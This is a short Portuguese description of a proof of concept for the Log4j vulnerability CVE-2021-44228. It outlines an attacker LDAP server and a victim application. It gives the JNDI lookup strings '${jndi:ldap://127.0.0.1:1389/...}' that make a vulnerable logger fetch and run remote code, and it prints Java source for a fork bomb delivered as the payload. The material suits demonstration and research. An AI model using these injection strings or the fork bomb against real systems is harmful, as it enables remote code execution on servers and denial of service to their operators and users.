
💣💥💀 Prova de Conceito: exemplo de execução de fork bomb em servidor remoto devido à vulnerabilidade CVE-2021-44228
💣💥💀 Prova de Conceito: exemplo de execução de fork bomb em um servidor remoto devido à vulnerabilidade CVE-2021-44228
Criamos o servidor LDAP do atacante (módulo server), que fornecerá representações de strings e código (módulo payload)
Criamos um exemplo de vítima (módulo victim) e passamos para o Log4j a string Versão JRE <= 6u211, 7u201, 8u191 e 11.0.1
${jndi:ldap://127.0.0.1:1389/anything}
${jndi:ldap://127.0.0.1:1389/jar}
O aplicativo vítima receberá do servidor atacante um array de bytes e os interpretará como uma string substituída ou como código executável (parâmetro com.sun.jndi.ldap.object.trustURLCodebase = true)
Para exemplo, o código executável será um fork bomb (programa que lança cópias de si mesmo, consumindo todo o tempo de CPU)
public class ForkBomb {
public static void main(String... args) {
Runtime.getRuntime().exec(new String[] {
"javaw",
"-cp",
System.getProperty("java.class.path"),
"ForkBomb"
});
}
}